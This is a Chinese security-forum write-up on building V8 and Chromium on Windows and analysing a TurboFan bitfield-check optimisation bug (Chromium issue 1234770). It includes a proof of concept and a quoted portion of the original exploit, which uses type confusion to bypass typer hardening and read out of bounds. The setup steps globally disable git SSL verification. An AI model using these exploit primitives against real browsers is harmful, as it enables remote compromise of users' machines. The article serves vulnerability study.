本文为看雪论坛精华文章
看雪论坛作者ID:苏啊树
1.1:Windows上安装google产品编译环境:
一般情况下,在Ubuntu上安装软件总是比在Windows上安装要麻烦一点,但是在安装Google家产品的编译环境时,情况则恰恰相反,一般是在Windows环境上会比在Ubuntu上麻烦一些。第一:Ubuntu上安装google产品编译环境的相关资料(无论英文还是中文)都比在Windows上的相关安装资料要容易找。第二:Windows上配合代理下拉google的东西时,因为要使用代理的原因,总是会碰到奇奇怪怪的问题,这些问题还很难在网上找得到,即使在google官方搜到这问题的提问,google官方给的回复也是把代理关了。关键是关了代理我还怎么下拉他的东西,碰到这些难题时可能就要自己研究他的下拉脚本,这算是研究google家产品的天朝中人会碰到的独特的难题了。
1.2:Windows上编译v8和Chromium
图1.1.1是我在Windows上挂代理下拉v8时碰到的问题,反正网上对这个问题的解答是奇奇怪怪,五花八门,说什么的都有,让人越看越迷茫。我这里的解决方案是指定HTTP为HTTP/1.1协议,详细的设置命令可以看1.2.3部分。下面内容为下拉v8和编译的详细步骤:
1.2.1 安装编译工具
如果是编译v8,则安装vs2019 和Windows 10 SDK,(version 10.0.19041 以上的版本)就可以了,如果是编译Chromium,需要在vs2019中添加一些别的组件,添加这些组件的相关命令如下。 $ PATH_TO_INSTALLER.EXE ^--add Microsoft.VisualStudio.Workload.NativeDesktop ^--add Microsoft.VisualStudio.Component.VC.ATLMFC ^--add Microsoft.VisualStudio.Component.VC.Tools.ARM64 ^--add Microsoft.VisualStudio.Component.VC.MFC.ARM64 ^本人的环境是将v8和vs2019都安装在虚拟机C盘下。
1.2.2 glient命令初始化
架上代理,开启全局模式,或者在控制台设置代理,控制台设置代理命令如下。set https_proxy=http://192.168.17.1:7890(IP和端口设置为你的代理服务器的IP和端口)
set http_proxy=http://192.168.17.1:7890下载depot_tools,解压在你想要安装的盘下,并把他安装路径加在环境变量中,这里有个细节要注意,需要把deptot_tool这个环境变量上移到环境变量顶部: 在控制台上输入gclient命令,这个命令会帮你自动安装符合现在v8和Chrome要求的python和git版本。Downloading CIPD client for windows-amd64 from https://chrome-infra-packages.appspot.com/client?platform=windows-amd64&version=git_revision:8e9b0c80860d00dfe951f7ea37d74e210d376c13...WARNING: Your metrics.cfg file was invalid or nonexistent. A new one will be created.Usage: gclient.py <command> [options]Meta checkout dependency manager for Git. config creates a .gclient file in the current directory diff displays local diff for every dependencies fetch fetches upstream commits for all modules flatten flattens the solutions into a single DEPS file getdep gets revision information and variable values from a DEPS file grep greps through git repos managed by gclient help prints list of commands or help for a specific command metrics reports, and optionally modifies, the status of metric collection pack generates a patch which can be applied at the root of the tree recurse operates [command args ...] on all the dependencies revert reverts all modifications in every dependencies revinfo outputs revision info mapping for the client and its dependencies root outputs the solution root (or current dir if there isn't one) runhooks runs hooks for files that have been modified in the local working copy setdep modifies dependency revisions and variable values in a DEPS file status shows modification status for every dependencies sync checkout/update all modules validate validates the .gclient and DEPS syntax verify verifies the DEPS file deps are only from allowed_hosts --version show program's version number and exit-h, --help show this help message and exit -j JOBS, --jobs=JOBS Specify how many SCM commands can run in parallel; defaults to 8 on this machine -v, --verbose Produces additional output for diagnostics. Can be used up to three times for more logging info. --gclientfile=CONFIG_FILENAME Specify an alternate .gclient file --spec=SPEC create a gclient file containing the provided string. Due to Cygwin/Python brokenness, it can't contain any --no-nag-max Ignored for backwards compatibility.
1.2.3:下拉v8的参数设置:
git config --global http.sslVerify falseset GYP_DEFINES=target_arch=x64set DEPOT_TOOLS_WIN_TOOLCHAIN=0set GYP_GENERATORS=msvs-ninja,ninjaset GYP_MSVS_VERSION=2019git config --global http.version HTTP/1.1git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07(换成你需要的版本)这里执行完以后就顺利在Windows 10上,下拉到指定版本的v8了。
1.2.4:编译v8
# 提供默认的gn参数给args.gn文件,帮助我们编译出debug版本和release版本 python tools\dev\v8gen.py x64.release python tools\dev\v8gen.py x64.debug python tools\dev\gm.py x64.debug d8 python tools\dev\gm.py x64.release d8至于为什么在Windows上编译v8和Chromium,本人的主要原因是想着在Windows上比较方便用IDA看v8和Chromium的符号。
2.1:漏洞代码位置:
位于`src/compiler/machine-operator-reducer.cc` 文件MachineOperatorReducer类中https://v8.dev/docs/turbofan这次漏洞出现在比特位运算的优化中,对((x&A)==B)&((x&C)==D)这种结构的优化2.2:漏洞代码:
```
static base::Optional<BitfieldCheck> Detect(Node* node) {
// There are two patterns to check for here:
// 1. Single-bit checks: `(val >> shift) & 1`, where:
// - the shift may be omitted, and/or
// - the result may be truncated from 64 to 32
// 2. Equality checks: `(val & mask) == expected`, where:<------这里
// - val may be truncated from 64 to 32 before masking (see<------还有这里,漏洞产生的第一步
// ReduceWord32EqualForConstantRhs)
if (node->opcode() == IrOpcode::kWord32Equal) {
Uint32BinopMatcher eq(node);
if (eq.left().IsWord32And()) {
Uint32BinopMatcher mand(eq.left().node());
if (mand.right().HasResolvedValue() && eq.right().HasResolvedValue()) {
BitfieldCheck result{mand.left().node(), mand.right().ResolvedValue(),
eq.right().ResolvedValue(), false};
if (mand.left().IsTruncateInt64ToInt32()) {
...
}
return result;
}
}
} else {
...
}
return {};
}
```
```
base::Optional<BitfieldCheck> TryCombine(const BitfieldCheck& other) {
if (source != other.source ||
truncate_from_64_bit != other.truncate_from_64_bit)
return {};
uint32_t overlapping_bits = mask & other.mask;
// It would be kind of strange to have any overlapping bits, but they can be
// allowed as long as they don't require opposite values in the same
// positions.
if ((masked_value & overlapping_bits) !=
(other.masked_value & overlapping_bits))<--------这个判断如果为false,就会合并,否则就不合并。漏洞产生的第二步
return {};<---------不合并
return BitfieldCheck{source, mask | other.mask,<---------合并
masked_value | other.masked_value,
truncate_from_64_bit};
}
第一个函数Detect(Node* node)是会将‘((x&A)==B)’ (A,B为常数,x为变量) 这种节点截断为Word32类型的节点,这点通过注释就能看到。 第二个函数TryCombine(const BitfieldCheck& other)是对两个Word32节点进行`Word32And`的运算的,进行尝试合并为一个Word32节点。因为第一个函数Detect(Node* node)会将‘((x&A)==B)’这种节点标记为Word32类型,故而如果存在两个这种节点进行And运算,就会进入TryCombine(const BitfieldCheck& other)这个函数处理流程,尝试将这两个Word32节点合并为一个Word32节点。具体一点来说如果出现’((x&A)==B)&((x&C)==D)’这种节点,因为Detect(Node* node)会将‘(x&A)==B)‘子节点和’((x&C)==D)‘子节点标记为Word32节点,接下来就会进入TryCombine(const BitfieldCheck& other)这个函数流程,将‘(x&A)==B)‘子节点和’((x&C)==D)‘子节点会进行尝试合并,如果通过条件判断,就会合并为一个新的’(x&E)==F’节点代替原有的’((x&A)==B)&((x&C)==D)’节点。里面常数A,B,C,D,E,F互相可能相等,也可能不相等。2.2.1:v8对’((x&A)==B)&((x&C)==D)’节点的尝试合并
按照漏洞提交者Manfred Paul给出的解释是:A) v8 turbofan要对‘((x&A)==B)&((x&C)==D)’这种节点做合并判断时,正确的做法是对‘((x&A)==B)’和((x&C)==D)两个子节点数是否为satisfiable(原文的说法)都做判断,只有当两个子节点都为satisfiable时,才能进行合并。如果'(x&A)==B'这个节点里A,B存在公用的比特位(例如A为1,B为3,1和3在二进制表示中,最低位都是1,这种情况叫有公共比特位),则称’(x & A) == B’这个节点为satisfiable,否则就称该节点为unsatisfiable。’(x & A) == B’,A==1,B==3时: 1--->00000000000000000000000000000001 3--->00000000000000000000000000000011因为有共有标志位00000000000000000000000000000001称’(x & A) == B’这个结构为satisfiable而当’(x & C) == D’,C==1,D==2时 1--->00000000000000000000000000000001 2--->00000000000000000000000000000010就会称’(x & C) == D’ 这个结构为unsatisfiable按这个推论(x&1==3)&(x&1==2)这种组合就不能合并。所以Manfred Paul给出的合并的正确过程为:假设源表达式为’((x&A)==B)&((x&C)==D)’如果’((x&A)==B)’和‘((x&C)==D)‘都为satisfiable,两个节点就会产生合并,否则不合并。合并的算法为’(x&(A|C)==(B|D))’ =>’(x&E==F)’,并用这个’(x&E==F)’节点代替原来的’((x&A)==B)&((x&C)==D)’节点。B)然而实际上v8并不是遵循这个做法。而是对整个’((x&A)==B)&((x&C)==D)’结构的overlapping_bits和masked_value这两个参数来判断,实现的逻辑并不严谨。2.2.2:漏洞函数对overlapping_bits和masked_value的判断: uint32_t overlapping_bits = mask & other.mask;// It would be kind of strange to have any overlapping bits, but they can be// allowed as long as they don't require opposite values in the same if ((masked_value & overlapping_bits) != (other.masked_value & overlapping_bits))这里看下源代码,可以找到source,mask和masked_value的定义,在1699行注释里面。也就是说对于’((x&A)==B)&((x&C)==D)’节点 overlapping_bits = mask & other.mask;=>A&C if ((masked_value & overlapping_bits) !=(other.masked_value & overlapping_bits))=>if((B&(A&C))!=(D&(A&C)))这个if()里面的判断逻辑有个特点,就是只要overlapping_bits为0,也就是说如果’((x&A)==B)&((x&C)==D)’节点里面的A和C没有公共标志位,就肯定会返回false,跳过判断,执行后面的优化,这判断逻辑显然有问题。例如在poc中的`(a & 1) == 1` 和`(a & 2) == 1`两个结构的合并的判断过程: overlapping_bits=mask&other.mask=>1&2=>0 (masked_value & overlapping_bits) !=(other.masked_value & overlapping_bits)=>(1&0)!=(1&0)=>flase结果就会越过if((masked_value & overlapping_bits) !=(other.masked_value & overlapping_bits))判断,然后出现合并。最终按照前面的合并公式变为:(a&(1|2)==1|1)=>(a&3==1)
3.1:关于poc
function foo(a) {
return ((a & 1) == 1) & ((a & 2) == 1);
}
console.log(foo(1));
for (var i = 0; i < 3e4; i++) foo(1);
console.log(foo(1));
poc这里给出的是((a & 1) == 1) & ((a & 2) == 1);这样的运算,根据上一节的分析,这个运算会优化成(a&3)==1。
3.2:turbofan验证
直接看优化的结果,翻到v8.TFEarlyOptimization 62可以看到这个运算优化出现在EarlyOptimization阶段,并且((a & 1) == 1) & ((a & 2) == 1)在这个阶段合并变成了((a & 3) == 1),优化后的效果就是foo(a)变成 return ((a & 1) == 1) & ((a & 2) == 1);但是当我这里尝试漏洞提交者Manfred Paul原文举例的两个组合时却出现问题:这里用((a & 1) == 2) & ((a & 2) == 1)和((x&0)==1)&((x&1)==1)两个组合分别进行试验: function foo(a) {
return ((a & 1) == 2) & ((a & 2) == 1);//=>预测优化为(x&3)==3
}
console.log(foo(3));
for (var i = 0; i < 3e4; i++) foo(3);
console.log(foo(3));
function foo(a) {
return ((a & 0) == 1) & ((a & 1) == 1);//=>预测优化为(x&1)==1
}
console.log(foo(1));
for (var i = 0; i < 3e4; i++) foo(1);
console.log(foo(1));
如果按照漏洞提交者Manfred Paul的说法,【组合1】和【组合2】优化后应该出现 (x&3)==3和(x&1)==1的合并结果,那对应的输出结果应该为0,1。但我这里尝试这两个组合的时候,输出的结果都为0,0,说明漏洞根本没有触发成功。发现这里可以看出【组合1】((x&1)==2)&((x&2)==1)优化结果为((x&2)==1)&false),而【组合2】((x&0)==1)&((x&1)==1)优化结果为为((x&1)==1)&false),也就是说【组合1】的((x&1)==2)和【组合2】的((x&0)==1)这两个节点在EarlyOptimization阶段之前就已经被直接优化出了结果,没有再进入漏洞函数的流程。这和漏洞提交者Manfred Paul文中预测结果不同……推测其原因还是和常数的选择问题,((x&A)==B)这种结构,并不是A,B为任意常数组合都会选择这个优化路径。有些组合情况下会在v8.TFEarlyOptimization之前就提前优化出了结果,也就不会进入这个漏洞的流程。
漏洞提交者Manfred Paul的exp,他自己新找了一种方式防止绕过check bounds elimination hardening缓解机制。同时做了大量工作,防止出现常量折叠等影响漏洞利用的情况。(用的是不透明类型常量,During LoadElimination, this is replaced by a constant `0` node, enabling further optimizations),这里漏洞利用复杂程度真是超出想象,需要阅读大量源码才能明白为什么这么做,不过Manfred Paul有对这些内容进行解释,我这里不做太多解释,有兴趣的可以去看看原文。function fake_obj_helper(arg_true, a, val) {
let o = {c0: 0, cf: false};
let x = ((a&5)==2)|0;
let y = ((a&6)==1)|0;
用了两个这种结构,这里用的|0,是为了将结果的布尔型转换为数字,不会干扰bug,后面的一些列操作都是为了防止x和y被优化出现常量折叠,无法产生我们想要的(x & A) == B&(x & C) == D结构
"a"[x];"a"[y]; // generate CheckBounds()
x = x + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30); // type is Range(-1,0), but only after LoadElimination
y = y + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30);
x = Math.min(2**32-1, x + (2**32-1)) - (2**32-1); // type is Range(-1,0) already during Typer
y = Math.min(2**32-1, y + (2**32-1)) - (2**32-1);
let confused = Math.max(-1,x & y); // type is Range(..., 0), really is 1
这里x&y就构造除了相当于poc中的运算,((a&5)==2)&((a&6)==1),a的数字选择为3,实现漏洞触发
confused = Math.max(-1, confused); // type is Range(-1, 0), really is 1
confused = ((0-confused)>>31); // type is Range(0, 0), really is -1
/**bypass typer hardening**/
let arr = new Array(3+30*(1+confused));
arr[0] = 0; // make aure we are a smi/object-array
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0; // make sure arr2 is a double-typed array
arr2[0] = val;
let iter = arr[Symbol.iterator]();
// skip elements of arr:
iter.next();iter.next();iter.next();
// skip over arr2's header (need two skips as arr is 32-bit sized):
iter.next();iter.next();
// read first half of arr2[0] contents:
let v1 = iter.next();
return v1.value;
}
该Exp本质构造的是((a&5)==2)&((a&6)==1)这个结构,来触发漏洞,我们这里直接用这对常数测试一下:结果被合并为((a&7)==3),当a输入3时,返回的就是true。显然也是触发了漏洞。参考:
https://chromium.googlesource.com/chromium/src/+/HEAD/docs/windows_build_instructions.md
https://bugs.chromium.org/p/chromium/issues/detail?id=1234770&q=component%3ABlink%3EJavaScript%20%20Type%3DBug-Security%20Security_Severity%3DHigh&can=1
https://xz.aliyun.com/t/9014
https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf
看雪ID:苏啊树
https://bbs.pediy.com/user-home-808412.htm
*本文由看雪论坛 苏啊树 原创,转载请注明来自看雪社区